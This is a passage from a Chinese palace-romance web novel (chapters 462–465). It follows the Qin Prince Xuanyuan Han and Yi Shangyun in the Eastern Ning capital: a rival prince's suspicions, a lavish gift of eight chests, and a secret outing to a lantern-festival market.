那侍卫自是亦丈二和尚摸不着头脑,更不敢说话。 梅志煊惊呆了,关键时刻,那批精造的兵器他是在亲自秘密一一查验完后,为避免后患,他可是亲自在城门外看着护送兵器的商队出的城门,怎么会,怎么会呢…… 梅志煊缓缓再次落座下来,努力让自己保持冷静一点儿下来,仔细想了想,幽幽分析道:“西秦国,除了那心思缜密,诡计多端的秦王轩辕瀚每每总能让对手出其不意,其他人俱皆都是平平之辈,如今竟能从本皇子的眼皮下潜回我东宁国的,难道是……” 霎时间,他忽然回忆起衣上云从宫里失踪的那个晚上,后来他与东宁国君一道前往继后宫中连夜兴师问罪时,继后闻之那一脸无辜与茫然的表情,这才反应过来,原来那并不是她伪装出来的。 一念至此,遂恍然大悟道:“难道,当夜暗杀玥儿的人是……不,那些人根本就没打算伤害玥儿,他们表面上看是打算行刺,实则是为了……救人!” 这时,一直默默垂首着的侍卫终于抬起头来,确是不知其所云地问:“救人!救谁?” 梅志煊缓缓起身来,双手负后着立于窗前道:“难怪那日在继后的宫里,本皇子就觉察哪里似是不对?继后生性嚣张跋扈,怎么可能会那般愚蠢,被一身份卑微的奴才轻易算计。若是如此这般解释,这一切便就都通了。” 侍卫依旧只觉云里雾里地道:“不知殿下此话怎讲?” 梅志煊闭起眼睛来片刻,忽地复又睁开,道:“那晚宫中行刺之人,并不是继后所为,继后乃是被人利用了。” 侍卫闻之忽地扬声惊道:“是谁吃了熊心豹子胆,竟然敢利用继后的人?” 梅志煊沉默了会儿,像是在听,又像是没在听侍卫所言,兀自喃喃细语道:“秦王轩辕瀚,看来真的是天不亡你,你果然命大!” “秦王,世人不是皆传闻……”侍卫简直不敢相信自己的耳朵所听到的。 自从西秦与北烈一战结束后,灵空大陆上便对秦王与北烈国两位皇子的下落众说纷纭。 可转念,他却似忽地心里已默默开始惧怕了一般,倒吸了口气压低声音怯怯地道:“秦王,他真的还活着?” 说着说着,一想似是又有些不对,遂补道:“他不但还活着,而且此刻就在我东宁国城中。” 梅志煊则默默握拳,自顾自狠狠地道:“哼……秦王,如此甚好,咱们便慢慢走着瞧,好戏才刚刚开始!” 俩人俱都沉默了半晌后,心里七上八下已然担心不已的侍卫转念问:“敢问殿下,那咱们还要继续找寻姑娘的下落吗?若是姑娘真的是被那秦王所劫走了,怕是我们很难再从他的手里将人给抢回来了。” 梅志煊冷哼了一声:“哼!想从本皇子的手里抢东西,也要看他配不配,更要看本皇子愿不愿意给?” 侍卫对梅志煊此时的话满脸狐疑,也不知道这个主子有什么底牌,哪里来的勇气说这大话。 秦王是谁?那可是灵空大陆上赫赫有名,让人闻风丧胆,响当当的无敌战神啊! 而眼前的这个主子,即便是在东宁皇宫里,也只不过是个不受宠的主而已。 即时,梅志煊肃声下令:“吩咐下去,即刻起全城戒严!将隐于城中的西秦商人一个不漏地全都给本皇子揪出来,本皇子倒想看看,这个传闻中的战神秦王,是不是真的长了一对会飞的翅膀!” “遵命!”侍卫领命,匆匆离去。 梅志煊依旧双手负后,独自立足于窗前,嘴角勾起一抹邪笑,却瞬间又将其卸去,转而恶狠狠地自言自语道:“哼!轩辕瀚,这次可是你自己亲自送上门来的。你想带她回西秦,没那么容易。既然不想走,本皇子便一定满足你的愿望,让你有来无回!” 第四百六十二章:殿下要克制,乖乖忍着 与衣上云在一起的日子,轩辕瀚每日同在西秦秦王府并无两样。 早起练剑,虽不用再赶着时间去早朝,然依旧有永远似是都处理不完的一大堆公务。 日子过得虽然忙碌,他却始终空出时间来与衣上云一道用膳。 漫漫长夜,举头望明月,对影成双人,就这样相互依偎着,仅仅是眼神交接,便已胜似千言万语。 两情相悦,缠缠绵绵,花前月下,聊聊天南地北的各种事情,距离幸福,仿佛终于不再遥远。 俩个相爱的人在一起,无论在哪里,亦或做什么,总觉时光偷偷游走的飞快。 转眼,便是匆匆已半月的你侬我侬甜蜜时光一晃而过。 深夜,书案前。 眼看着元宵节转瞬即至,随之的秘密计划亦是都在紧罗密布地进行着。 许是对这最后的布置心中仍有些不满,一袭锦衣白袍的轩辕瀚眉头紧锁,一双黑如点墨的眼眸骤然变得深沉起来,透露出强烈的占有欲,思索再三,终是缓缓起身来挪步走出了屋内。 只见他驻足门前,抬头看了看夜空中的漫天星辰,见深沉的夜幕上嵌着一轮愈来愈若白玉盘般的明月,遂追随其所发出的皎洁月光所向怔了一会儿,随之迈开步伐来到了院子里的角落上几株红梅边。 脚步顿了一下,忽地一把抽出手中的一柄长剑来,拔剑而起,一番潇洒帅气,刚柔并济,淋漓尽致的剑法震惊了一旁所有侍卫,引来阵阵赞叹声。 就连打小便追随于其左右的程良,亦是不知道这主子的剑法竟何时已炉火纯青变得如此厉害。 忽地剑锋扫落到一旁的梅树上,花瓣霎时簌簌落下,在场众人见了皆都瞪大了眼睛惊呆了。 这时,见轩辕瀚收剑而立,程良忽地回过神来忙上前去将手里的披风替其穿戴好,遂发出一阵感叹道:“自打衣姑娘回来后,属下见殿下的剑术精进了不少。看来,真如同世人传闻中的一般,这男女之间爱情的力量果然不容小觑啊!” 闻之,轩辕瀚早已变得温柔的目光竟也没有否认,挑眉并于嘴角不自觉地扬起一抹浅笑来,再一次惊到了从其手中正接过佩剑的副将程良。 待其惊诧不已地终于回过了神来,方才疾步跟上去禀报差点儿被自己遗忘的正事:“对了殿下,东宁宫中各处的暗桩都已经重新布置好了,就等殿下一声令下,这整座城便神不知鬼不觉地就成为咱们西秦的了。” 闻之沉默了一会儿,轩辕瀚顿足停了下来微微侧脸目光深沉地看着程良的眼睛,提醒道:“嗯,事情往往越到最后紧要关头,便越是不能疏忽大意。” 程良认真地道:“属下知道。” 正要提步,其目光忽地一定,轩辕瀚复又开口叮嘱了一句:“此事,万万不可让云儿知道。” 程良道:“属下明白。” 再一想到深处东宁深宫中的轩辕玥,轩辕瀚总是觉得不忍心:“玥儿那边……” 此事程良自是思虑周全,早已安排妥当,遂禀道:“殿下放心,行动当夜,到时候宫里咱们的暗线会提前将玥公主带出城来与殿下汇合。” 无论如何,轩辕瀚终是为此显得忧心忡忡,然也只能在心里默默地低声道:“玥儿,是时候了……” “玥公主早应该知道,这一天迟早会来的。此事,即使殿下不做,也会有他人为之。”看出主人的忧虑,程良开口安慰道。 然轩辕翰却不再出声。 转眼,俩人便已踱步回到了温暖的室内,程良将主人的佩剑替其悬挂好,上前解下披风,又替其递上了一盏热茶。 轩辕翰缓缓落座下来,似是有些疲惫,遂捏了捏眉心,便吩咐道:“好了,夜已深了,退下吧,本王想一个人待会儿。” 程良一见,替这个主人尽显满腹忧心,可如今的局势,早已是箭在弦上不得不发,自己也是无能为力,只得听令只身离开,悄悄退了出去,将门替其轻轻掩上。 一室寂静。 轩辕瀚凝视着案角上的烛火,轻抿了一口手里的茶汤,轻声道:“云儿,本王这么做,究竟是对,还是错?” 门外。 程良刚合上门板忧郁地转身,便见衣上云一袭白色长裙,直奔他所在的方向而来,遂惊讶地问:“衣姑娘!这么晚了,您怎么过来了?” “嘘”恐怕打扰了屋内的人,衣上云忙将一根指头抵在唇边,嘘声阻止道。 待其快步近身过来后,方才压低声音问一脸惊愣的程良道:“殿下可已经睡下了?” 程良几乎是想都没想,清了清嗓子回过神来脱口即出道:“殿下说他……” 然话刚开口,一想起这个时候,或许只有眼前的这个人方才能慰藉主人的忧伤,一念至此,便又忙改口结结巴巴道:“没,没,没,殿下他,殿下他还不曾歇下。” 闻之,衣上云却顿卸去了脸上的笑容,举头仰望了眼夜空,继而扭头朝屋内方向看了看,扬起一脸忧郁来心疼地喃喃低语道:“都这么晚了,怎么还没睡?” “姑娘等着,属下帮姑娘这就去通报。”程良说着,便转身复又附手上去,欲要推门而入。 衣上云忽地伸出一手一把将他拦住,阻止道:“程将军整日在侧照顾殿下,也是辛苦地很,将军早点去休息吧,云儿自己进去就好。” 程良一想,似是瞬间明白了什么,遂应声道:“如此……也好,姑娘请!” 衣上云朝其微笑着点了点头,便伸手轻轻推门,迈过门槛,走了进去。 当衣上云悄悄进来的时候,轩辕瀚正背对着自己,双手负后立足于窗前,抬头向着西窗外的一轮明月沉沉地发呆。 那宽阔却尽显一身孤独的背影,背负承载了太多人的未来,不禁顿时让她停下脚步来心中升起无数心疼。 于是,她在入神地远远观望了其一会儿后,忽然泪眼朦胧了起来,猛一回神,缓缓一步一步地朝其身边近身了过去。 在其身后伸出一双极尽温柔的纤纤玉手,拦腰紧紧地环抱住他的腰身,像是从此再也不想放开,遂将脑袋贴在他宽阔结实的后背上,深情地道:“对不起,云儿来晚了。” 轩辕翰着实被其举动惊了一跳,听到她的声音顿舒展开不知已皱紧了多久的眉头,缓缓伸出双手将其附在她的手上,握在自己的手心一边摩挲着,微微看向自己的身后不明所以地问:“傻瓜,为什么说这样的话?” 衣上云柔柔地朝其解释:“若是云儿能早点来到殿下身边,出现在殿下的世界里,一定不会让殿下这么孤单寂寞,所以,对不起,真的对不起。” 平生第一次有人对自己说如此温暖贴心的话,轩辕瀚瞬间只觉自己所有的努力都没有白费,转念忽道:“既然知道自己错了,那,你打算如何弥补本王呢?” 轩辕瀚说着,缓缓转身过来,垂首下去直勾勾盯视着衣上云的眼睛。 “弥补……如何……弥补?”衣上云似是听出了其此时话里有话,方才知道自己说错了话,接下来根本不敢再直视他深邃的眼眸。 怎料轩辕瀚却仍是步步紧逼,丝毫没有绕过这个因她而起的话题的意思,挑眉追问:“嗯?” “弥补……我……我……”就在衣上云尚还支支吾吾,犹犹豫豫,一时间不知要如何接话时,轩辕瀚竟冷不丁地俯身下去,猛附上了她柔软的唇瓣。 “本王以为,你说的一点儿也没错,有你在,本王顿觉精力充沛,趁此良辰美景,不如你我……”轩辕瀚几乎是咬着她的耳朵挑眉说完了这句话,眼中更是透露出许多莫名的渴望。 瞬间,衣上云只觉自己一阵接一阵的酥麻感袭遍全身,她便已彻底无力再支撑自己的身体。 轩辕瀚当即觉察意识到了这一点后,顺势用自己宽大的臂膀将其娇小柔弱的身子紧紧拥住。 俩人纠缠中,感受着她在一点点地渐渐放松,卸下对自己的防备,好让自己进入,将她完全攻陷。 就在轩辕瀚吻的越来越深入,越来越难以自持,欲要更进一步时,怎料衣上云忽地醒了过来,一把推开了他,面红耳赤,羞涩地道:“殿下要克制,乖乖忍着。” 轩辕瀚自是意犹未尽,然回过神来实觉自己有些冲动,便不舍地放开了她,道:“好吧,看来那本王只能……继续处理公务了!” 衣上云尴尬地望着他缓缓移步到书案边上落座下,这才长长地舒了口气。 转而又朝屋内扫了一圈,自己亦在一旁静静地找了一处地方,胡乱拿起案上放着的书漫不经心地翻看了起来。 许是批阅公文太过于认真投入,轩辕瀚忽地一抬头,透过窗见外面天都竟然已经快亮了。 毕竟眼下时局已到了这个节骨眼上,很多事都要他仔细斟酌着最后拿定主意。 期间,衣上云固执的怎么都不肯独自去睡,执意要陪他一起。 待到他后来发现的时候,她竟不知何时已趴在一边上的小案几上独自沉沉地睡着了。 见此,他方才放下了手里的笔,缓缓起身来朝其近身过去,将其一把抱了起来,兀自朝着屏风后的床榻上踱步过去。 一脸宠溺与满足地盯视着她俨然这几日里已被自己养胖了许多的脸,亦合衣在其身旁悄悄躺了下来。 第四百六十三章:一起添炭火 翌日清晨,轩辕瀚的房间里。 黎明的曙光渐渐透过窗棂终于照射了进来,驱散走一屋的黑暗。 他一睁开眼睛,便见衣上云就睡在自己的眼前,不知何时,竟把一条腿搭在了自己的身上。 轩辕瀚不禁朝其愣了住,心里惊诧地道:“这女子如此可爱,当真是世间难有!” 片刻后方才屏住呼吸缓缓起身来,朝外小心翼翼地迈步走了出去。 直到日上三竿的时候,衣上云才慢慢醒来,眼珠子咕噜咕噜转了好几圈,一见自己竟然睡在轩辕翰房内的榻上,这才回忆起昨夜俩人俱都差点失了控,脸上顿时浮起一抹绯红来,羞涩难当,用被子把自己的脸深深蒙了起来。 忽闻“吱呀”一声。 像是有人推门而入,衣上云复又从被窝里探出脑袋来,透过屏风,见是一小丫头身影缓缓现了出来,衣上云遂顿时心里一愣:“这座院子,除了一位老嬷嬷外,便都是侍卫,几时来了个小丫头?” 小丫头双手捧着一盆洗漱用的温水进来,朝衣上云柔声地招呼道:“小姐醒了!” 一直以来,院子里的人都是以姑娘唤她,而这小丫头缘何唤她小姐,一念及此遂不解地跟着其重复了句:“小姐?” 于是,她一边从榻上坐起,一边开口好奇地问:“你是……” 话刚开口,小丫头便绕过屏风走了进来,到达衣上云的榻边,衣上云看到来人顿时朝其怔住,一时间,嘴边的话自是亦全都噎了回去。 直朝其瞪大了一双好看的凤眼,惊呆了地道:“你……你是……你是燕儿?” 燕儿几乎都快要不记得,自己究竟有多久没有见到这个小主人了。 于是,她早已泪目了地朝其奔了过去,一把将其紧紧抱住,哭道:“小姐,你还活着,你真的还活着,燕儿还以为,这辈子再也见不到你了!” 说完,便“呜呜呜……”地哭了起来。 霎时间,衣上云又何尝不是抱着她,眼里噙满了泪水,感动万分地只声声轻唤她的名字:“燕儿,好燕儿……” 片刻后,抱在一起的主仆俩方才难舍难分地分了来了,衣上云问:“对了燕儿,你怎么也会出现在东宁国呢?” 燕儿遂依旧哽咽着抹了把脸上的泪水,感激不尽地道:“是秦王殿下,他怕小姐用不惯旁人,无人照顾,便将燕儿从府中要了出来,并带来了东宁。” 闻此,衣上云方才恍然大悟,心里甚是感动地低声喃喃道:“是殿下……” 见此,燕儿一边拿出衣裙伺候其起床更衣,忽地勾出一抹笑容来道:“小姐,秦王殿下他对小姐您,可真是用心良苦啊!” 衣上云笑了笑,自是心里一点儿也不否认,怎料燕儿忽然转而一脸神秘地盯视着衣上云的眼睛,问:“小姐,说实话,你和秦王殿下,到底有没有……” 闻此,衣上云瞬间看向了小丫头的脸,忽地反应过来她的心思,忙一把推开了她的手,一脸羞涩又带着些生气地道:“燕儿你胡说什么呢,我和秦王殿下之间发乎情,止乎礼,我们,我们当然没有……” 嘴上说的振振有词,脸上的绯红俨然已经映到了脖颈上,彻头彻尾地出卖了自己。 而似早已看穿了其心思明白了一切的燕儿违心地附和着她连连点头,口口声声道:“好好好,我家小姐冰清玉洁,守身如玉,与秦王殿下之间乃是发乎情,止乎礼,从不曾有半点儿逾越,没有没有……” 衣上云斜看着她,狠狠地瞪了她一眼。 在燕儿的陪伴下,衣上云的胃口果然似是比往日好了很多。 一顿丰盛的饱餐刚刚结束,主仆俩正喝着茶聊天,一队侍卫抬着几个黑色的神秘箱子朝衣上云的屋内送了进来。 衣上云遂忙放下手里的茶盏,顿立起身来,与燕儿一道惊诧不已地立在眼前摆着的一排足足有八大箱,每个箱子看似都足以装下她们主仆俩两个大活人,不禁面面相觑起来。 稍时,燕儿伸手指着其中一个箱子,先开了口愣愣地问一侍卫:“请问侍卫大哥,这,不知此举这是做什么?” 那侍卫朝衣上云尤为礼貌地抱拳回道:“回姑娘,咱们殿下说’新年要有新气象‘!” 闻此,主仆俩顿看向彼此的眼睛,异口同声不解地道:“新年要有新气象?” 只见那侍卫半举起一只手,便有数名侍卫上前,将各自面前的箱盖“哗”的一下揭开。 与此同时,侍卫继续解释道:“这些都是咱们殿下上街亲自为姑娘挑选的衣物首饰,还有胭脂水粉,以及姑娘家用的其它物件,还望姑娘笑纳!” “天呢,这到底是惊喜还是惊吓?秦王殿下你怎么不把整个东宁城给我家小姐搬过来!”燕儿上前一探,心里嘀咕惊道。 足足八大箱,就是其中一箱,这主仆俩也是长这么大,俱都见都从未见过,更何况是八箱,其中的每一件看似都价值连城……“ 衣上云亦随其后上前一步望着眼前五颜六色,琳琅满目,炫彩耀眼的各种物件顿时惊呆了,许是被方才刚刚入口的茶水呛着了,不禁重重地掩起嘴咳了起来:“咳咳咳……” “小姐这是怎么了?”听着小主人一声比一声咳地厉害,燕儿慌忙转身回头递上丝帕,一边替其轻抚着后背,忧心地道。 一众侍卫见了,瞬间亦是你看我,我看你,不知眼前这俩名女子究竟缘何如此? 稍时,院子主位,轩辕翰的屋内。 一见程良前脚进门来,便上前着急关切地问:“怎么样?送去的东西,云儿可都喜欢?” 程良似是有些不知如何说起,然见满脸期待着的主子,终是吸了口气,实话实说:“衣姑娘见了,并未说喜欢或者不喜欢,只是……” 轩辕翰忙追问:“只是什么?” 程良道:“据侍卫们回来说,衣姑娘她,她只不停地咳嗽。” 轩辕翰背过身去,纳闷地回忆着,忽似是自言自语地道:“咳嗽……莫非是,夜里着凉了?” 一念至此,轩辕翰忙回过头来忧心如焚地吩咐程良道:“快去,命人在云儿的房内再多加些炭火。” 程良惊讶地转身正要去办,忽又被再次叫住:“回来!” 程良抱拳问道:“殿下还有何吩咐?” 轩辕翰顿了会儿,一边踱步一边若有所思地道:“将本王的屋内,一道多添些炭火。” 程良眉头一紧,一边回忆着不明所以地问:“殿下晨起不是还说,昨夜里觉得有些燥热,让属下撤去些炭火吗?” 想起昨夜俩人的忘我缠绵,险些让自己失控,当然觉得燥热不已,可现在得知衣上云竟然在自己的房内着凉了,那还了得。 一念至此,轩辕翰素声喝道:“叫你去办你便去办,哪儿来那么多废话!” 程良急急惶恐道:“属下遵命,属下这就去给殿下和衣姑娘的屋内一起添炭火去。” 说完,便转身摸着自己的后脑勺一脸不解地出了门。 望着其背影,轩辕翰却是嘴角扬起一抹弧度来,眼中透出一抹尽带着玩味的喜悦。 东屋内。 燕儿如数家珍一般地将箱子里的物件一件一件给衣上云展示介绍着,此时手里挑着一对珍珠耳环,两眼直冒光满脸欣喜若狂地道:“小姐,这回咱们可是赚大了!像这种珍珠,燕儿在西秦国时,只听人说过,就连说的人,他都未曾亲眼见过。据说其母贝为一种白蝶贝,只有东宁国里一处水质清纯,水温适宜,海湾开敞和台风罕至的水域才能产出如此高品质的极品珍珠来,且产量极低,只有东宁皇族的人才配享用。” 说完,又将其放下转而朝着另一箱子旁奔了过去,拿起一件轻如蝉翼的白色纱裙来,用手小心翼翼地抚摸感受着其柔软的质地,望着上面巧夺天工所勾勒出的蝶恋花纹路,燕儿张大了嘴巴惊叹不已,似是都无法用言语来表达。 然就在燕儿惊讶连连时,立在一旁只默默看着,又似在若有所思着的衣上云却忽然开口道:“燕儿,你知道我并不在乎这些。可殿下他如此费尽心思地待我,就算是礼尚往来,那我,是不是也应该给殿下一个惊喜呢?” 燕儿隐隐听到,回过神来再次朝其确认一下问:“给秦王殿下一个惊喜?莫非小姐你也想……” 衣上云一挑眉,道:“燕儿,不如,我们也去城里。” 燕儿听了衣上云的主意,心中顿觉又喜又忧:“可是小姐,程将军和少爷都说如今东宁城里到处危机四伏,燕儿只怕你给秦王殿下想要准备的惊喜,变成了惊吓!” 衣上云不以为然地道:“说什么呢燕儿,你对你家小姐就这般没信心吗?我会很小心的,况且,我们只溜出去一小会儿便回来,不会被发现的。” 燕儿当然怕这个小主人又闹出什么事来,犹犹豫豫道:“可是……” 见此,衣上云忽地坐了下来,装出一副可怜兮兮的模样道:“燕儿你是不知道,这些日子以来,我整日被关在这座院子里,都快闷死了。再这样下去,我的小命怕是就快见不到来年的春光了。” 燕儿毕竟还是个孩子,便应允了她:“好吧好吧,那燕儿想想办法,带小姐出去透透气。” “嗯嗯嗯……”衣上云听了顿觉心中大喜,强压住心头的喜悦连连朝其点头。 于是,夜幕降临后,灯火阑珊下,主仆二人乘着夜色又一番精心乔装打扮,便跟着来送货的商铺老板娘,偷偷溜了出去…… 第四百六十四章:丫头,好久不见 东市,东宁国皇城里最热闹的街市,商贾云集,行人如织,到处一派繁华景象。 煌煌之夜,万家灯火洒下橘红色的光晕,偌大的东市显得热闹而开放,人群熙来攘往,游晃其中,仿佛步入一古老而繁华的画卷之中。 眼下正值元宵佳节将至,处处张挂彩灯,人们还制作出巨大的灯轮、灯树、灯柱等,满城的火树银花,十分繁华热闹。 衣上云在燕儿的陪同下,一起装扮成商铺老板娘的女工,便成功地偷溜了出来。 此刻,主仆俩就像是重新回归到林子里的小鸟一般,满脸新奇与喜悦地迈着欢快的脚步徜徉在灯红酒绿,车水马龙,人来人往的大街小巷。 街道两边都是商铺,酒馆更是不计其数,路上的行人,街边儿的小贩,无一不让人感受到节日热闹的气氛。 燕儿此刻望着眼前新奇的一幕幕,似是连脚步都很难再迈开来。 走走停停,看着街头各式各样新鲜的玩意儿嘴里惊讶连连地直称赞道:“早就听闻东宁国的集市繁华新鲜程度不同于灵空大陆上的任一国度,今日一见,果然名不虚传,非同凡响。” 衣上云见了,亦是心里默默地惊叹道:“这,便就是我的母国了。大好河山,山清水秀,看起来子民富庶,国泰民安,百姓们个个安居乐业。这,便是倾注了父皇与母后毕生所有心血所建立起来的幸福国度。” 忽然驻足停下,她回首看着自己方才来时的路,口中喃喃低语道:“这些美好的风景,母后也曾历历在目吗?脚下方才这些刚刚走过的路,母后她可曾也至此留下过足迹?” 然不知跟着又想到了什么,只见她忽然渐渐卸去了脸上的笑意,尽显一脸忧心忡忡,与方才截然不同的表情:“眼前的这座城,在不久的将来,它能永远都这么充满活力与幸福吗?” 一念至此,思虑片刻后,她忽然缓慢提起步来,一边走一边情不自禁地悄悄将一只手塞进袖子里,漫不经心地摩挲起藏于衣袖下的那只失而复得的七彩金丝彩玉镯子来。 就在她回首之间,一辆高大宽敞的马车从俩人身旁疾驰而过,路上行人纷纷避至路的两侧,让出一条宽大的道路来。 晚风阵阵轻拂,将马车的车窗帘骤然吹起,透过车窗,马车里,若隐若现一正端坐着墨发半竖,一袭黑色锦袍加身,看起来气度不凡的老爷。 他正将两只骨节分明的大手轻轻放在膝前,看起来似是正在闭目养神着。 忽然,前面驾车的一年轻男子忽地回过头朝与其擦肩而过的衣上云的背影认真地回看了一眼,忙对车里的老爷禀告道:“主子,方才的那位女子,看起来仿佛像极了衣姑娘。” “云儿!”闻声,马车里的人忽地睁开眼来,继而紧张地一把掀开了车门帘,急急朝前面驾车的男子质问。 “吁”,男子急忙勒马停了下来。 马车停下后,男子便毫不犹豫地一步胯下马车,只说了句道:“让属下去瞧瞧!” 说着,便疾步朝着眼前的人潮里挤了进去:“让一让,麻烦请让一下好吗?” 坐在车内的老爷心急如焚,如坐针毡着等了半晌,亦不见男子回来,索性便起身来掀开车帘,自己亦跟着跳下了马车,追随着男子的背影,跟了上去。 却是二人皆都怔怔地望着眼前的人山人海,早已寻不到其半点儿踪影。 待到身边的人群皆已随着人潮涌动渐渐远去,男子方才似是有些纳闷地挠着脑袋,有些灰心丧气又有些疑惑地开口道:“皇上,方才,或许是属下眼花看错了人吧。想着,都已经这么多日子过去了,我们却始终都寻不到关于衣姑娘的一丁点儿下落。若是她真的还活着,皇上曾对她那般地好,相信她一定会想尽办法再回到皇上身边,至少也该拖个信报个平安才是啊。可如今……怕是她……会不会已经凶多吉少了呢!” 话刚说完,一对上乔装出宫已多日亲自来寻衣上云下落的东宁国君那双寒光四射的眼眸,侍卫吓得忙垂首下去朝其抱拳致歉道:“属下该死,属下知错!属下这就立刻安排更多的暗卫去全城搜索衣姑娘的下落。一定让他们活要见人,死要见尸……” 闻之,东宁国君更是狠狠瞪视着他,质疑道:“嗯?” 直接将他嘴里余下的话全都噎了回去。 侍卫忽地反应过来,自己一直在说些不吉利的言辞,这才连声朝其致歉道:“呸呸呸,属下该死,是一定要竭尽全力找出衣姑娘的人来!” 东宁国君长长地舒了口气,终于将目光从其脸上移望着眼前此刻似是越来越多的人山人海,心里默默地道:“难道,朕这一生,注定是与她无缘,要遗失这颗沧海遗珠了吗?” 不知过了多久,时已至月上树梢。 衣上云主仆俩从一老字号药铺里走了出来,俩人脸上俱都挂满了笑容,看起来对淘到的礼物似是相当满意。 燕儿搀扶着衣上云的胳膊,高兴地夸赞道:“我家小姐的这份礼,相信秦王殿下他一定会颇为满意的。” 衣上云却是一脸正色,不以为然:“你又怎么知道?殿下他从小便见多识广,什么新鲜稀奇玩意儿没见过!我的这些小玩意儿,只不过都是些雕虫小技罢了,不足挂齿,只是略表心意罢了!” 燕儿偷偷瞄了一眼衣上云的神色,此时看似有些担心自己的礼物会不会太轻,于是暗自窃笑了一声,佯装着解释道:“我当然知道了,秦王殿下,他心悦于我家小姐,所以,无论我家小姐送什么,殿下他都会将其视若珍宝,于世间独一无二的。” 衣上云嘴上说不在乎,心里却将燕儿的话一字不漏地听了进去,待其忽地反应过来,一脸娇羞地红着脸道:“燕儿,大庭广众之下,你若是再这样口无遮拦胡说八道,看我不撕烂你的嘴……” 说着,衣上云便伸出双手去欲要扯燕儿的脸,燕儿急忙将其双手捉住,朝其求饶:“小姐饶命!小姐饶命!” “丫头” 就在主仆俩人正在街头嬉笑打骂时,忽闻一熟悉的声音在耳边响起。 于是,衣上云回头朝其寻声望去,只见熙熙攘攘的人群里,忽然现身出一袭鲜艳夺目的赤红色锦袍,墨发半束,面容姣好,整个人从骨子里都流露着一种狂妄与肆意,还有无尽妖艳的细长桃花眼男子来。 仿佛这个人一出现,便会将人世间最美的春天带来一般,甚至连周围的空气都变得暖融融了起来。 衣上云朝其从头到脚怔怔地端详了许久,最后惊诧不已地道:“你是……三少?你怎么会来东宁的?” 那一袭红装的妖艳男子一边微笑着,迈步上前朝其近身过去立定后,对其柔声地道:“丫头,好久不见!” 俩人对视,互相凝视着对方的双眼半晌后,衣上云亦愣愣地开口道了一声:“好久不见!” 于是,俩人一道一边走,一边将过去的这段岁月里所发生的许多事一起娓娓道来…… 易三少一想起往事来,便生气地道:“若不是我,那秦王轩辕瀚怕是也没这么快醒过来。我不计前嫌那样对他,他竟还偷偷瞒着我,关于已经得知了你的消息。更是给我来了一招金蝉脱壳,让我差点儿以为他至今还在秦王府里被璟帝派人严家看守着。” 听了易三少爷的话,衣上云方才得知轩辕瀚为了她,竟然一个人独自默默背负了那么多,心里顿时更加难过。 易三少的话依旧在她的耳边回荡着,可她怔怔地看着他的嘴一张一合,确是早已经都什么都没听进去了:“当初在北烈,都怪我一时疏忽大意,鬼迷心窍才会相信了梅志煊那个卑鄙小人所说与他结盟。当时本来是我先找到你的,我见你晕倒在大雨里,正想带你回家,不想半路却被梅志煊那个王八蛋摆了一道,才会把你给弄丢了。如今,见你没事,我便放心了。” 易三少说完止住步,似是安心地看着衣上云的眼睛对她笑了笑。 顿了顿,又道:“丫头,明天便是元宵佳节了,我们相约一起看烟花如何?” 衣上云定定地听了,心里似是有些犹豫,易三少见了便急假装可怜:“你看我独自一人大老远的来找你,只不过就是想约你看个烟花而已,这般小小的新年愿望,难道你都不能答应我吗?” 思之又思,衣上云最后咬了咬牙道:“那,好吧。“ 易三少听了,顿时一脸欣喜:“嗯,丫头,那就这样说定了,明日此时,我们相约朱雀桥头见!” 衣上云的笑容里显然带着些许无奈,遂抬头一见天色已然越来越深,便告辞道:“三少,我们主仆已出来多时,现在该回去啦!” 闻声,一直默默跟在俩人身后不远处的燕儿忙奔上前来走到衣上云的身边。 俩人正要转身离去,易三少忽叫了一声将其脚步制止…… 第四百六十五章:我已经忍你很久了 就在衣上云主仆俩人正要转身离去,易三少忽叫了一声将其脚步制止:“丫头,夜深了,不如让我送你们回去吧!” 闻声,衣上云忽觉心里咯噔一下,她自是有所顾忌,一直以来,易三少对她的心思,她岂会不知? 加之,刚刚又听其方才对轩辕翰昔日里的一堆抱怨,如今若是再让这俩人碰面了的话,她还真不知到时候自己该如何收场? 这时,与其互相对视着的燕儿又怎会亦不知眼前的这个人,向来如同一张狗皮膏药般粘着她的小主人,定是没打什么好主意。 于是,她悄悄地对衣上云摇了摇头,示意主人不需要他多此一举。 衣上云神情复杂地盯视着燕儿的脸,她的心里明明也很想拒绝,可不知为什么,她就是开不了口。 然无论如何,她知道接下来自己必须说点什么了,无奈之下,思索了片刻之后,她似是终于下定了决心,鼓足勇气回过头来。 正要说话,易三少竟像是早已看穿了她的心思一般忽然先开了口:“丫头你放心,如今见你没事,我与那西秦秦王之间的过去种种,亦都已经全都一笔勾销了。” 一见易三少脸上此刻挂起的似是君子坦荡荡,果真已经释然了的表情,仿佛倒是衣上云自己心里有鬼一般。 于是,她忙回过神来收回自己方才准备好的所有推拒之词,改口佯装着道:“其实,并不是三少所想的那样。我只是怕耽误三少还有其他什么别的事情不便叨扰,既然三少如此说,那好吧,就有劳三少了。” 闻此,燕儿着急的偷偷从其身后用力扯了扯她的衣袖,忧心极了地提醒她道:“小姐你疯啦,说什么胡话呢?这若是放在以前曾经倒也罢了,可如今你与秦王已然是两情相悦……这若是让秦王殿下知道了,那可该如何是好?” 衣上云随即一把反将燕儿的手紧紧捉住,低声细语后悔极了地道:“莫非你以为,眼下我若不让他与我们同行,大家便就从此相安无事了吗?事到如今,我还能怎么办?只能走一步算一步了,早知道今日出门会遇到他,我宁愿被殿下继续关着,永远不出来。” 燕儿听着,却是只能努了努嘴,一时间似是再也百口莫辩。 易三少可谓是终于得偿所愿,遂嘴角扬起一抹迷人的弧度来,大步上前。 当他逼近到衣上云的面前,经过其身边时,忽然冷不防地伸手一把牵住了衣上云的纤纤玉手,似是毫无顾忌地一拉起她便不由分说地朝前迈步离去。 衣上云瞬间惊慌失措,燕儿见了,一边在后面紧追不舍,一边吃惊地叫喊阻止道:“易三少,你这是做什么?还不快放开我家小姐!易三少,你快放开她呀……” 就这样,三人你追我赶朝着来时的路走了回去。 是夜。 轩辕翰正独自静静地一人坐在书房里。 屋内昏暗的烛火下,只见其两道浓密漆黑的剑眉再一次紧紧地皱了起着。 “吱呀”一声。 似是有人步履匆匆地推开门走了进来,他却毫不在意的样子,不知其究竟在沉思着些什么? 迈步进来的是其副将程良,一副看起来似是有些心神不定的样子,默默地立在门口犹豫了片刻,终于鼓足了勇气上前,开口关切地问了句:“天色已经很晚了,殿下怎么还不歇着,可是在为明日的行动而忧心?” 兀自继续沉默了一会儿,轩辕翰终于回过了神来,摇了摇头,之后微微抬眼却是先问道:“云儿呢?她是不是已经睡了?” 